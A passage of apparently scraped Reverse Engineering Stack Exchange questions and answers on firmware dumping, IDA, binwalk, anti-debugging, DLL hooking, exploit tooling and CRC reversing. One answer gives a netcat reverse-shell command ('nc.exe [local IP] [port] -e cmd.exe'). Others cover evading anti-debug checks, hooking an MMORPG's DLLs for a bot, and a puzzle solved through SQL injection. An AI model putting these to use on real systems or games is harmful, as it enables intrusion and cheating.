\n        }\n\n\n        if(shouldBreak)\n            break;\n\n        seg = NextSeg(seg);     // get address of the next segment\n    }\n\n    Message(\"End of pseudo instruction adder by fastman92\\n\");\n}\n
    \n" }, { "Id": "13520", "CreationDate": "2016-09-17T15:17:23.460", "Body": "

    I have a binary firmware image with a routine that I find hard to understand.\nI want to step through this encryption routine step by step so I can better understand it.

    \n\n

    I was able to obtain all the data from the memory of the device: \nthe firmware, the option banks, the RAM which includes the data to be encrypted, etc.. and all in raw bytes.

    \n\n

    I know the location of the encryption subroutine and want to start stepping through the program at that point. I've analyzed the firmware as far as possible in IDA PRO.

    \n\n

    The device has an ARM Cortex-M3, which uses the ARMv7-M instruction set. Here is the
    \ndata sheet\n of the device.

    \n\n

    What would be a good approach to do this?

    \n\n

    Update 1 - sep 19 '16

    \n\n

    I chose to emulate just the code snippet. However I'm slightly clueless what \"configuration\" to choose (configuring QEMU: step 5). The information that comes up when googling for the \"Versatile\" or the \"Integrator\" board doesn't make it more clear.

    \n\n

    How can I determine what configuration to choose?

    \n", "Title": "Stepping through ARM firmware image", "Tags": "|ida|assembly|firmware|arm|", "Answer": "

    You can debug and even step the execution with the following ways:

    \n\n\n" }, { "Id": "13542", "CreationDate": "2016-09-22T00:49:15.740", "Body": "

    recently I've been learning to do RE.

    \n\n

    I made a simple program in 10 seconds that I was going to mess around with in IDA.

    \n\n
    #include <iostream>\n\nint main(int argc, char* argv[])\n{\n    printf(\"Hello, world!\\n\");\n\n    int i = 0;\n\n    if (i == 0)\n    {\n        printf(\"i == 0\\n\");\n    }\n    else\n    {\n        printf(\"i > 0 OR i < 0\\n\");\n    }\n\n    while (i == 0)\n    {\n        printf(\"I'm a while loop\\n\");\n        _sleep(510);\n    }\n}\n
    \n\n

    As you can see its the main function. But when I go into IDA and click on start its not that function (assuming start is the main function, correct?)

    \n\n

    But, after clicking on a few functions in the function window I came across it. \nHere it is

    \n\n
    int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n    {\n      char v3; // ST04_1@1\n      char v4; // [sp+0h] [bp-4h]@0\n      char v5; // [sp+0h] [bp-4h]@1\n\n      printf(\"Hello, world!\\n\", v4);\n      printf(\"i == 0\\n\", v3);\n      while ( 1 )\n      {\n        printf(\"I'm a while loop\\n\", v5);\n        sleep(0x1FEu);\n      }\n    }\n
    \n\n

    I've already reversed most of it. (printf was originally sub_50505 or something like that).

    \n\n

    However, for some odd reason, its created unnecessary vars and I'm curious as to why it did that. It should've only created one, which is i.

    \n\n

    Also, why is it while (1) { ... }

    \n\n

    Shouldn't it by while (i == 0) { ... }?

    \n\n

    I'm curious about all these questions. Thanks! And sorry if they're silly. I'm new to RE!

    \n", "Title": "Question about IDA 6.8, also why its creating unnecessary vars", "Tags": "|c++|", "Answer": "

    Welcome to RE.

    \n\n
    \n

    it created unnecessary vars and I'm curious as to why it did that

    \n
    \n\n

    The problem is with the printf function.

    \n\n

    Normally, when IDA encounters a function call, it looks up the function signature to know how many parameters are passed at which locations.

    \n\n

    In the case of the printf function, it is at least one parameter. In order to know how many parameters are passed, one would need to evaluate the format string. However, IDA doesn't and rather employs some heuristic to determine which part of the stack 'belongs' to this function call.

    \n\n

    Since the main function retrieves parameters

    \n\n
    (int argc, const char **argv, const char **envp)\n
    \n\n

    when invoked, IDA notices the stack contains something.

    \n\n
    \n

    Also, why is it while (1) { ... }

    \n
    \n\n

    Most probably your compiler optimized the code because he noticed i is never assigned anything else but 0. It also removed the 'dead code' in the else-clause. If you use gcc, try turning off optimization (e.g. -O0)

    \n" }, { "Id": "13545", "CreationDate": "2016-09-22T11:21:25.687", "Body": "

    I need get copy of original Bootloader from device running embedded Linux. Is it possible copy and save bootloader using CLI telnet commands? I have full access to CLI interface. Is there way copy Bootloader binary from memory and save it?

    \n\n
    => printenv\n...\nupdate_uboot=tftpboot 0x80000100 u-boot.bin && protect off 0x48000000 +${filesize} && erase 0x48000000 +${filesize} && sleep ${sdelay} && cp.b ${fileaddr} 0x48000000 ${filesize} && protect on 0x48000000 +${filesize}\n...\n\nubootpartsize=0x20000\n\nmtdinfo=0x20000(U-Boot)ro\nmtdparts=spansion:0x20000(U-Boot)ro\n\n5 cmdlinepart partitions found on MTD device spansion\npartitions[0] = {.name = U-Boot, .offset = 0x00000000,.size = 0x00020000 (128K) }\n\n0x00000000-0x00020000 : \"U-Boot\"\n
    \n\n

    EDIT: netcat is not present in Busybox on embedded device.

    \n\n
    BusyBox v1.19.2 built-in shell (ash)\nEnter 'help' for a list of built-in commands.\n# help\nBuilt-in commands:\n------------------\n        . : [ [[ bg break cd chdir continue echo eval exec exit export\n        false fg getopts hash help jobs kill local printf pwd read readonly\n        return set shift source test times trap true type ulimit umask\n        unset wait\n
    \n", "Title": "Is it possible copy and save bootloader using CLI telnet commands?", "Tags": "|binary-analysis|linux|memory|embedded|flash|", "Answer": "

    dd and netcat should work just fine.

    \n

    If any problem with that, try doing an hexdump to stdout

    \n
    hexdump -C -n 64 /dev/mtdblock0 > bootloader.bin\n
    \n

    But needs a reverse shell on the target, like:

    \n
    nc.exe [local IP] [port] -e cmd.exe\n
    \n

    (cmd.exe is for MS windows, /bin/sh on linux)

    \n" }, { "Id": "13547", "CreationDate": "2016-09-22T12:48:07.413", "Body": "

    I am starring at the following exe file, see main page here. It seems pretty clear (using -E entropy option) that the exe contains compressed section. For some reason binwalk is not capable of finding the start of those sections.

    \n\n

    Here is what I have:

    \n\n
    $ binwalk -v -B PmsDView.exe \n\nScan Time:     2016-09-22 14:42:04\nTarget File:   /tmp/PmsDView.exe\nMD5 Checksum:  911d92675f559a40400f7ca2b69c8544\nSignatures:    344\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n0             0x0             Microsoft executable, portable (PE)\n2015          0x7DF           Copyright string: \"Copyright 1995-2005 Mark Adler \"\n
    \n\n

    However it seems like they are using gzip:

    \n\n
    $ hexdump -C PmsDView.exe\n000007a0  30 00 30 00 31 00 35 00  00 00 00 00 4c 64 72 47  |0.0.1.5.....LdrG|\n000007b0  65 74 50 72 6f 63 65 64  75 72 65 41 64 64 72 65  |etProcedureAddre|\n000007c0  73 73 00 00 6e 74 64 6c  6c 00 00 00 00 00 00 00  |ss..ntdll.......|\n000007d0  20 69 6e 66 6c 61 74 65  20 31 2e 32 2e 33 20 43  | inflate 1.2.3 C|\n000007e0  6f 70 79 72 69 67 68 74  20 31 39 39 35 2d 32 30  |opyright 1995-20|\n000007f0  30 35 20 4d 61 72 6b 20  41 64 6c 65 72 20 00 00  |05 Mark Adler ..|\n
    \n\n

    Am I missing something ? Or did they mask the gzip signature ?

    \n", "Title": "binwalk cannot find gzip sections", "Tags": "|binary-analysis|decompress|", "Answer": "

    Binwalk did not find the zlib blob because it is also encrypted. It uses the following code to decrypt the compressed data. The decryption uses a table stored in the stack, which is filled with generated values before the loop.

    \n\n

    \"enter

    \n\n

    Thus, you have to reverse the decryption code or save the decompressed data from the memory.

    \n" }, { "Id": "13552", "CreationDate": "2016-09-22T15:57:16.177", "Body": "

    I have jail-broken my iPhone with Cydia store. In cydia store I have checked and I see cycrypt has installed.

    \n\n

    But when I ssh to my iPhone and try to run command cycrypt I receive the following error, indicating cycrypt is not installed:

    \n\n
    -sh: cycrypt: command not found\n
    \n\n

    Am I missing something?

    \n", "Title": "ios jailbreak: command cycrypt not found", "Tags": "|ios|", "Answer": "

    The command you're trying to use is cycript, not cycrypt. Notice the i instead of your second y. That's why your ssh session fails executing it.

    \n" }, { "Id": "13575", "CreationDate": "2016-09-24T13:51:18.453", "Body": "

    Ok, so I have been trying to dump the contents of a Technicolor TG799vac.

    \n\n

    So far I have removed the flash chip and read out the chip using the DumpFlash.py utility\nand used binwalk to locate the Squashfs File system

    \n\n
    DECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n39436         0x9A0C          SHA256 hash constants, big endian\n31764480      0x1E4B000       JFFS2 filesystem, big endian\n32013764      0x1E87DC4       JFFS2 filesystem, big endian\n32242272      0x1EBFA60       JFFS2 filesystem, big endian\n36765696      0x2310000       Squashfs filesystem, little endian, version 4.0, compression:xz, size: 14928222 bytes, 3253 inodes, blocksize: 262144 bytes, created: 2016-06-28 03:08:22\n51709334      0x3150596       xz compressed data\n51855814      0x31741C6       xz compressed data\n51922474      0x318462A       xz compressed data\n52004354      0x3198602       xz compressed data\n52046150      0x31A2946       xz compressed data\n52047662      0x31A2F2E       xz compressed data\n52091472      0x31ADA50       xz compressed data\n52093306      0x31AE17A       xz compressed data\n52095388      0x31AE99C       xz compressed data\n52097286      0x31AF106       xz compressed data\n52099504      0x31AF9B0       xz compressed data\n52101750      0x31B0276       xz compressed data\n52103748      0x31B0A44       xz compressed data\n52106574      0x31B154E       xz compressed data\n52108628      0x31B1D54       xz compressed data\n52110506      0x31B24AA       xz compressed data\n52112416      0x31B2C20       xz compressed data\n52114650      0x31B34DA       xz compressed data\n52116652      0x31B3CAC       xz compressed data\n52118514      0x31B43F2       xz compressed data\n52118772      0x31B44F4       xz compressed data\n52122718      0x31B545E       xz compressed data\n52126772      0x31B6434       xz compressed data\n52131218      0x31B7592       xz compressed data\n52135620      0x31B86C4       xz compressed data\n52138550      0x31B9236       xz compressed data\n52141480      0x31B9DA8       xz compressed data\n52144930      0x31BAB22       xz compressed data\n52148772      0x31BBA24       xz compressed data\n52152506      0x31BC8BA       xz compressed data\n52153220      0x31BCB84       xz compressed data\n52153882      0x31BCE1A       xz compressed data\n52155856      0x31BD5D0       xz compressed data\n52157758      0x31BDD3E       xz compressed data\n52159824      0x31BE550       xz compressed data\n137234956     0x82E0A0C       SHA256 hash constants, big endian\n
    \n\n

    I used dd to extract the Image:

    \n\n
    $ dd  if=Modem.img bs=1 skip=36765696 count=14928222 of=Modem.squashfs\n14928222+0 records in\n14928222+0 records out\n14928222 bytes (15 MB) copied, 22.0777 s, 676 kB/s\n
    \n\n

    I tried to unsuqashfs the image:

    \n\n
    $ unsquashfs -s Modem.squashfs\nFound a valid SQUASHFS 4:0 superblock on Modem.squashfs.\nCreation or last append time Tue Jun 28 13:08:22 2016\nFilesystem size 14578.34 Kbytes (14.2 Mbytes)\nCompression xz\nxz: error reading stored compressor options from filesystem! \nBlock size 262144 \nFilesystem is exportable via NFS                                                                           Inodes are compressed\nData is compressed                                                                    Fragments are compressed                                                                  Always-use-fragments option is not specified                                                                     Xattrs are not stored                                                                        Duplicates are Removed                                                                       Number of fragments 85                                                                            Number of inodes 3253                                                                         Number of ids 1\n\n$ unsquashfs -d squash-root1  Modem.squashfs\nParallel unsquashfs: Using 4 processors\nLseek failed because Invalid argument\nread_block: failed to read block @0x71eed2525ee8f30e\nread_uids_guids: failed to read id table block\nFATAL ERROR:failed to uid/gid table\n
    \n\n

    But, it failed. So, I tried to extract with firmware-mod-kit:

    \n\n
    $ ./unsquashfs_all.sh ~/projects/Telstra/DumpFlash/Modem.squashfs ~/projects/Telstra/DumpFlash/Squashfs/\n\nAttempting to extract SquashFS .X file system...\n\nTrying ./src/squashfs-2.1-r2/unsquashfs-lzma... \nTrying ./src/squashfs-2.1-r2/unsquashfs... \nTrying ./src/squashfs-3.0/unsquashfs-lzma... \nTrying ./src/squashfs-3.0/unsquashfs... \nTrying ./src/squashfs-3.0-lzma-damn-small-variant/unsquashfs-lzma... \nTrying ./src/others/squashfs-2.0-nb4/unsquashfs... \nTrying ./src/others/squashfs-3.0-e2100/unsquashfs-lzma... \nTrying ./src/others/squashfs-3.0-e2100/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2-hg612-lzma/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2-wnr1000/unsquashfs... \nTrying ./src/others/squashfs-3.2-r2-rtn12/unsquashfs... \nTrying ./src/others/squashfs-3.3/unsquashfs... \nTrying ./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/unsquashfs... \nTrying ./src/others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools/unsquashfs... \nTrying ./src/others/squashfs-3.4-cisco/unsquashfs... \nTrying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma... \nTrying ./src/others/squashfs-3.4-nb4/unsquashfs... \nTrying ./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 4 processors\nTrying ./src/others/squashfs-4.2/unsquashfs... Parallel unsquashfs: Using 4 processors\nTrying ./src/others/squashfs-4.0-lzma/unsquashfs-lzma... Parallel unsquashfs: Using 4 processors\nTrying ./src/others/squashfs-4.0-realtek/unsquashfs... Skipping others/squashfs-hg55x-bin (wrong version)...\nFile extraction failed!\n
    \n\n

    I also tried sasquatch:

    \n\n
    $ sasquatch  -trace Modem.squashfs \nsquashfs: read_bytes: reading from position 0x0, bytes 32\nSquashFS version [4.0] / inode count [3253] suggests a SquashFS image of the same endianess\nsquashfs: read_bytes: reading from position 0x0, bytes 96\nsquashfs: read_bytes: reading from position 0x60, bytes 2\nsquashfs: read_block: block @0x60, 12 uncompressed bytes\nsquashfs: read_bytes: reading from position 0x62, bytes 12\nParallel unsquashfs: Using 1 processor\nsquashfs: read_uids_guids: no_ids 1\nsquashfs: read_bytes: reading from position 0xe3c956, bytes 8\nsquashfs: read_bytes: reading from position 0x71eed2525ee8f30e, bytes 2\nLseek failed because Invalid argument\nread_block: failed to read block @0x71eed2525ee8f30e\nread_uids_guids: failed to read id table block\nFATAL ERROR:failed to uid/gid table\n
    \n\n

    But still no joy. :-(

    \n\n

    Can anyone offer any advice or maybe point out any mistakes as I am new to this all and still learning any tips or pointers would be a great help.

    \n", "Title": "Technicolor TG799vac Modem/Router Dumping The Nand Flash", "Tags": "|linux|firmware|embedded|", "Answer": "

    Ok I managed to get it to extract.... Yay

    \n\n

    As it turns out when I did the NAND dump I also dumped the OOB part of the NAND.
    \nSo I had to run it through Jean-Michel Picod's Nand-dump-tool.py program to separate out the OOB area.

    \n\n
    $ python Nand-dump-tool.py  -i ModemRaw.img -o Split_seperate.img -I\n01f1801d  --layout separate\n\n[*] Using given ID code ID code  : 01f1801d\nManufacturer                     : AMD / Spansion\nDevice                           : NAND 128MiB 3,3V 8-bit\nDie/Package                      : 1\nCell type                        : 2 Level Cell\nSimultaneously programmed paged  : 1\nInterleave between multiple chips: False\nWrite cache                      : True\nPage size                        : 2048 bytes (2 K)\nSpare area size                  : 16 bytes / 512 byte\nBlock size                       : 131072 bytes (128 K)\nOrganization                     : X16\nSerial access time               : 29 ns\nOOB size                         : 64 bytes\n\n[*] Start dumping...\n[*] Finished\n\nTotal: 138412032 bytes (132.00 MB)\nData : 134217728 bytes (128.00 MB)\nOOB  : 4194304 bytes (4.00 MB)\nClear: 86.69% of the flash is empty (56813 pages out of 65536)\n
    \n\n

    Once that was done running it through binwalk again gave me a much more sensible output and a extracted File System...

    \n" }, { "Id": "13577", "CreationDate": "2016-09-24T16:47:31.030", "Body": "

    I'm trying to debug a windows exe that is really full of anti-debug measures. It has pretty much everything you can think of DBGuiremotebreakin, Ntsetinformationthread, NtQueryInformationProcess, the works. The only problem is that I really need to get into it. The anti-debug stuff is mixed in all throughout the code with important computations that are used for the stuff I want to see. How could I start trying to spoof the measures so I can observe register usage unfoiled?

    \n", "Title": "Getting past a whole lot of anti-debug measures for a windows exe", "Tags": "|debuggers|anti-debugging|disassemblers|", "Answer": "

    You can use something like Scylla Hide

    \n\n

    https://github.com/nihilus/ScyllaHide

    \n\n

    It has plugins for most popular debuggers. It has lots of hiding options and presets for advanced packers like Themida.

    \n\n

    You can also try Titan Hide.

    \n\n

    https://github.com/mrexodia/TitanHide

    \n" }, { "Id": "13587", "CreationDate": "2016-09-25T14:34:53.277", "Body": "

    I'm very very newbie in assembly / ollydbg / reverse engineering. I'm totally lost with this error.

    \n\n

    I have created a simple program in Delphi, just to explore in ollydbg. Here is the program's code:

    \n\n
    procedure TForm1.SpeedButton1Click(Sender: TObject);\nvar somevalue : string;\nbegin\n    somevalue := 'this is a value';\n    showmessage(somevalue);\nend;\n
    \n\n

    So I attached it in olly and searched for the string \"this is a value\" and reached this point:

    \n\n
    MOV EDX, 0045212C\n
    \n\n

    the address 0x45212C contains my string, so I decide to put another value in an empty address (I choose 00400400).

    \n\n

    The problem is that when I change the code to

    \n\n
    MOV EDX, 400400\n
    \n\n

    I get the following error:

    \n\n
    \n

    Access violation when writing to [004003F8]

    \n
    \n\n

    Which contains the following assembly line:

    \n\n
    LOCK INC DWORD PTR DS:[EDX-8]\n
    \n\n

    What does this error mean and how can I fix it?

    \n", "Title": "Getting Access Violation when patching a program", "Tags": "|assembly|ollydbg|x86|patching|", "Answer": "

    This error means that the processor tried to access the address at 0x004003F8 and failed. The access type was write.\nThis can happen because that address's page is protected and cannot be written to, or because the address is unallocated.

    \n\n

    I'ts crusial to note that the address, 0x004003F8 is eight bytes before your chosen address (0x00400400). I guess the access violation happened because that address is unallocated.

    \n\n

    The best guess given the information you provided is that although the textual string starts at that specific address, it is only part of the bigger in-memory structure that begins before the actual text.

    \n\n

    This is actually quite common, and correct for all managed/object oriented programming languages. and is indeed the cause for Delphi's string objects, as described here including memory representation specifics.

    \n\n

    The line in which you get an access viloation is also of some interesting capacity and could be unclear to the uneducated reverser.

    \n\n

    LOCK INC DWORD PTR DS:[EDX-8]

    \n\n

    And here's the instruction's parts described one by one:

    \n\n
      \n

    1. LOCK is an instruction prefix that modifies the instruction following it, which is assumed to be preforming a read/modify/write operation. It guarantees the instruction following it is atomic, and prevents race conditions with other instructions modifying the same memory address.

      2. \n

    2. INC has a single operand (either a register or a memory address) and increases it by one.

      3. \n

    3. DWORD marks the provided operand points to a double-word value (that is, 4 bytes).

      4. \n

    4. DS: tells the address is in the data segment. This became quite redundant in 32 and 64 bit architectures so you can normally just ignore it.

      5. \n

    5. [EDX-8] is the actual operand, and represents \"the address 8 bytes before the value currently in EDX.

      6. \n
    \n" }, { "Id": "13599", "CreationDate": "2016-09-27T10:35:17.590", "Body": "

    I am messing around with a game made with CryEngine. It's a MMORPG, but I found out that I can manipulate the X/Y/Z coordinates of my character through cheat engine. And I also found out that I can switch the targeted enemy by changing a value in my memory.

    \n\n

    This game is made up by a launcher.exe and many dlls. One of them is called CryGame.dll in which is most of the game code I guess.\nI made a pointer scan on the memory which saves the targeted enemy, but most pointer chains which store my desired memoryregion are saved in the CryGame.dll.

    \n\n

    Now to my question: Is it possible to inject code into the CryGame.dll or something similar in order to get this memory region and manipulate it (I am trying to make a simple bot for myself).

    \n\n

    Or does anybody have another idea how to get this value? Normally I would simply make a dll injection into the games process and manipulate it, but since this game is made up of dlls, I can't really hook functions, since dlls change address after every reboot of the game, right?

    \n\n

    Hope you understand what I meant, sorry for my enlgish.

    \n", "Title": "How to manipulate game which loads many dll's", "Tags": "|dll-injection|injection|", "Answer": "

    You can certainly hook dlls similarly to how you'd hook any other function. To get the address of a dll function, you'd need to call two windows APIs.

    \n\n

    First, you'll need to get the address/handle (these are the same when discussing loaded modules) of the module you're trying to hook. A simple method to get that is to call either LoadLibrary or GetModuleHandle. The biggest difference is that GetModuleHandle will not load the dll in case it's not already loaded and will return null instead. You can probably load the dll yourself using LoadLibrary, so both APIs are valid.

    \n\n

    Second, you'll need to get the address of the function you're interested in. You could use the return value of either GetModuleHandle or LoadLibrary as the current position of the dll and calculate the specific offset of certain functions using it. Alternatively, you can call GetProcAddress to get the address of any function that's exported by the DLL.

    \n\n

    Keep in mind there are other ways to modify a behavior of a dll:

    \n\n
      \n
    1. You could patch the dll on disk (assuming there's no integrity checks employed).
      2. \n
    2. You can create a DLL proxy using DLL redirection.
      3. \n
    \n" }, { "Id": "13603", "CreationDate": "2016-09-27T16:34:49.430", "Body": "

    I have a string from job advert (Ethical hacker). I am not planning to candidate to that position. I just would try to resolve puzzle. Can someone suggest directions to look further? (And not yet post full answer for some 2 days). Probably if someone can resolve that puzzle, then they probably will figure out from where that job advert is :).

    \n\n

    The data (my guess that's a hex string):

    \n\n
    7d063a752c3a20753e3b3a2275213d30753734263c36267975363a3a39747c5f5f073026253a3b263c373c393c213c30266f5f7f7505303b30212734213c3a3b75213026213c3b3275343b3175313a362038303b213c3b3275213d3075333c3b313c3b32265f7f750330273c332c752320393b302734373c393c213c3026752730253a2721303175372c753a213d3027265f7f751426263c26217531302330393a25302726753c3b75333c2d3c3b327526303620273c212c75372032265f7f75063d342730752c3a2027753e3b3a22393031323075223c213d75363a39393034322030265f5f1a25253a2721203b3c213c30266f5f7f75193034273b3c3b32753b3022752130363d3b3a393a323c302675372c75213026213c3b3275313c233027263075262c26213038265f7f75063e3c3939752630217531302330393a2538303b2175213d273a20323d75262530363c34393c2f3031752127343c3b3c3b32265f7f75173075347525342721753a337526303620273c212c753c3b363c31303b2175273026253a3b263075213034385f5f02343b2175213a753f3a3c3b7520266a7512302175213d3075363a3b21343621267533273a386f5f3d212125266f7a7a3f3a377b3d61363e7b38307a363a3b213436217a\n
    \n\n

    I tried to convert it to string. Output is like this: \"Output\"\nIt looks like of some kind of protocol. I also tried to decompress, but that failed and looked at output it does not look like it would be compressed.

    \n\n

    C# program to create string from that data.

    \n\n
    class Program\n    {\n        static string bytearr = \"7d063a752c3a20753e3b3a2275213d30753734263c36267975363a3a39747c5f5f073026253a3b263c373c393c213c30266f5f7f7505303b30212734213c3a3b75213026213c3b3275343b3175313a362038303b213c3b3275213d3075333c3b313c3b32265f7f750330273c332c752320393b302734373c393c213c3026752730253a2721303175372c753a213d3027265f7f751426263c26217531302330393a25302726753c3b75333c2d3c3b327526303620273c212c75372032265f7f75063d342730752c3a2027753e3b3a22393031323075223c213d75363a39393034322030265f5f1a25253a2721203b3c213c30266f5f7f75193034273b3c3b32753b3022752130363d3b3a393a323c302675372c75213026213c3b3275313c233027263075262c26213038265f7f75063e3c3939752630217531302330393a2538303b2175213d273a20323d75262530363c34393c2f3031752127343c3b3c3b32265f7f75173075347525342721753a337526303620273c212c753c3b363c31303b2175273026253a3b263075213034385f5f02343b2175213a753f3a3c3b7520266a7512302175213d3075363a3b21343621267533273a386f5f3d212125266f7a7a3f3a377b3d61363e7b38307a363a3b213436217a\";\n        static void Main(string[] args)\n        {\n            byte[] b = StringToByteArray(bytearr);\n            string s = System.Text.Encoding.UTF8.GetString(b);\n            File.WriteAllBytes(\"output.bin\", b);\n            Console.WriteLine(\"{0}\", s);\n            Console.ReadLine();\n        }\n\n        public static byte[] StringToByteArray(String hex)\n        {\n            int NumberChars = hex.Length;\n            byte[] bytes = new byte[NumberChars / 2];\n            for (int i = 0; i < NumberChars; i += 2)\n                bytes[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);\n            return bytes;\n        }\n    }\n
    \n\n

    Update.

    \n\n

    Thanks to @w s for hints. Today I resolved puzzle. It took 5 to 6 hours.

    \n\n

    So, the answer ...

    \n\n

    First I googled around and found this article. Then I tried XORSearch. After that I got next challenge. I do not post it here but that was web login form. So, I should guess username and password. Luckily in that form was sql injection vulnerability. After successful login it displayed QR code as PNG image. Of course I cannot decode it with scanner. So, I tried various steganography tools. Unsuccessful. Tried more various tools and then I realized that I am digging too deep. Then I printed that QR code. Looked on it couple of minutes. Tried various online QR decoders. All they failed. Googled about QR code error corrections and broken QR code recovery. Found this site. On three corners must be square blocks to identify and then align the code. For my image they did'n.

    \n\n

    \"QR \nI deleted some part of QR code.

    \n\n

    So I took black pencil and colored my printed QR code. Tried to scan it. Scanner made one successful scan. But it was some numbers. After I again looked at printed QR code I realized that it looks bad. Then I realized that QR code must reverse colors. And vol\u0101. It now looks like normal QR and scanner successfully scanned it. In that picture was another link to text file, where was job contact details.

    \n\n

    P.S The only think that I not fully understood is XOR`ing part. But I tried to study that :).

    \n", "Title": "Reversing unknown data in hex string", "Tags": "|hex|", "Answer": "

    This is an encrypted message (hex-encoded, your guess is correct). The cipher is very weak.\nAs far as I understand there is at least one more additional challenge after this one.

    \n\n

    If you want to learn more about working with challenges like this I'd suggest you to try \"Matasano crypto challenges\".

    \n" }, { "Id": "13605", "CreationDate": "2016-09-28T09:20:55.527", "Body": "

    I have been going through some tutorials for exploit development that use the !pvefindaddr command to help with creating unique patterns and discovering the offset.

    \n\n

    I know that mona has replaced pvefindaddr - but from what I can see in the examples I am following the !pvefindaddr suggest command gives you an exploit suggestion in perl, while !mona suggest basically writes you a metasploit module.

    \n\n

    I looked at the options with:

    \n\n

    !mona help suggest

    \n\n

    And there don't seem to be many options available. Is it possible to get suggest to offer you exploits written in any format other than a metasploit module? I couldn't seem to get pvefindaddr working in immunity - I'm assuming it doesn't really work anymore as mona has replaced it, so I wondered if mona had any flexibility?

    \n\n

    I tried asking this in security stack exchange and was pointed here!

    \n", "Title": "Immunity Debugger - !mona suggest", "Tags": "|exploit|immunity-debugger|metasploit|", "Answer": "

    mona.py only supports automatically generating Metasplpoit modules. You can't get it to output the exploitation code in any other form.

    \n\n
    \n

    pvefindaddr already suggested a payload layout based on that information, mona takes things one step further. In fact, it will attempt to produce a full blown Metasploit module, including all necessary pointers and exploit layout.

    \n
    \n\n

    This is probably partially because in order to function, the suggest command uses the findmsp command which requires a \"Metasploit pattern\" (hence the name \"find msp\"), a textual pattern that uses a sequence of characters in a way that never repeats the same 4 bytes offset, making it extremely easy to identify the offset of each part of the pattern. This pattern is extensively used in the Metasploit Framework to ease exploit development.

    \n\n
    \n

    This command will automatically run findmsp (so you have to use a cyclic pattern to trigger a crash), and then take that information to suggest an exploit skeleton

    \n
    \n\n

    There are a few things you can do:

    \n\n
      \n

    1. You can always carve out the code out of the Metasploit module, or rewrite it in a different language (such as perl).

      2. \n

    2. Use the findmsp command directly (as mentioned, suggest internally uses it to get the information needed for the exploit), it will provide you the details of affects memory regions, pointers, registers and so on, so you could build the exploit yourself.

      \n\n
      \n

      At crash time, simply run findmsp and you will get the following information:\n

        \n
      • Locations where the cyclic pattern can be found (looks for the first bytes of a pattern) and how long that pattern is
        • \n
      • Registers that are overwritten with 4 byte of a cyclic pattern and the offset in the pattern to overwrite the register
        • \n
      • Registers that point into a cyclic pattern, the offset, and the remaining size of the pattern
        • \n
      • SEH records overwritten with 4 bytes of a cyclic, offset, and size
        • \n
      • Pointers on the current thread stack, into a cyclic pattern (offset + size)
        • \n
      • Parts of a cyclic pattern on the stack, the offset from the begin of the pattern and the size of the pattern.

        \n
      \n\n
      \n

      In all cases, findmsp will search for normal pattern, uppercase,lowercase, and unicode versions of the cyclic pattern.

      \n
      3. \n\n

    3. Finally, pvefindaddr is probably not working with your version of Immunity Debugger because it's newer that versions supported by pvefindaddr. Since it's now deprecated it is no longer updated with newer releases of Immunity Debugger. You could fetch an older version and use that instead.

      4. \n
    \n" }, { "Id": "13610", "CreationDate": "2016-09-28T16:47:24.207", "Body": "

    I'm working on reverse engineering the serial communication protocol of an obsolete electronic control system, but I'm having trouble figuring out the CRC algorithm and polynomial.

    \n\n

    I have reverse engineered another similar system made by the same company in the past. On that previous one I was able to dump the 8051 micro-controller program from the EPROM and disassemble it. Here is my working code in C, with the original 8051 disassembly in the comments:

    \n\n
    unsigned char CalculateChecksum(void) {\n    unsigned char r1 = 0;               // MOV R1,#0\n    unsigned char r2, r3, c, a;\n\n    for (r2=1; r2<4; r2++) {    // MOV R2,#07\n        a = out_buffer[r2];     // MOV A,@R0\n\n        r3 = a;                 // XCH A,R1\n        a = r1;\n        r1 = r3;\n\n        c = 0;                  // CLR C\n\n        if (a & 0x80) {\n            c = 1;              // FAKE CARRY\n        }\n        a = a << 1;             // RLC A\n        if (c == 1) {           // JNC 0x03E8\n            a = a ^ 0x19;       // XRL A,#19\n        }\n        a = a ^ r1;             // XRL A,R1 (0x03E8)\n        r1 = a;                 // MOV R1,A\n        printf(\"%d: 0x%x \", r2, a);\n    }\n\n    return a;\n}\n
    \n\n

    The problem is that this function does not work on this newer system. I've tried all 255 possible polynomials, so it is unclear wether the algorithms are shared (perhaps with some modifications?) between the different systems, however I believe there is a relation between algorithms.

    \n\n

    Here is a capture of some of the transmitted message from one unit:

    \n\n
    7E 00 12 03 00 50 FB 01 60 \n7E 00 12 03 00 50 FB 01 60 \n7E 00 12 03 00 50 FB 01 60 \n7E 00 12 03 00 50 FB 01 60 \n7E 00 12 03 00 51 FB 01 61 \n7E 00 12 03 00 51 FB 01 61 \n7E 00 12 03 00 51 FB 01 61 \n7E 00 12 03 00 51 FF 01 65 \n7E 00 12 03 00 51 03 00 69 \n7E 00 12 03 00 51 09 00 6F\n
    \n\n

    0x7E appears to be a preamble, followed by 7 bytes of data, then the checksum byte. Can anyone figure it out?

    \n", "Title": "Reverse engineering serial communication CRC algorithm", "Tags": "|serial-communication|crc|binary-diagnosis|", "Answer": "

    This question seems simpler than you might expect.

    \n\n

    Since as OP noted, the code is irrelevant to validation mechanism used in the discussed system, I shall ignore it. It is indeed irrelevant as will be shown below.

    \n\n

    as the first byte in each message indeed looks like a preamble, we'll ignore it. Our goal is to recover the function which, when applied to the given 1-8th bytes (i.e. all bytes except the first and last), provides the last byte.

    \n\n

    Lets take the first message provided by OP:

    \n\n
    00 12 03 00 50 FB 01 60\n
    \n\n

    Thus, we need to find f such that

    \n\n
    f(00 12 03 00 50 FB 01) = 60\n
    \n\n

    The following 3 messages are identical. This is good, it uncovers the fact the validation byte is deterministic with regards to the message bytes, but otherwise useless.

    \n\n

    We'll skip to the fifth message and compare it to the first:

    \n\n
    f(00 12 03 00 50 FB 01) = 60\nf(00 12 03 00 51 FB 01) = 61\n
    \n\n

    This is nice, we know that a single bit incremental change in the 5th byte of the message causes the exact same change on the output. Adding one to the fifth byte increments the output by one as well.

    \n\n

    The same happens for the last two messages:

    \n\n
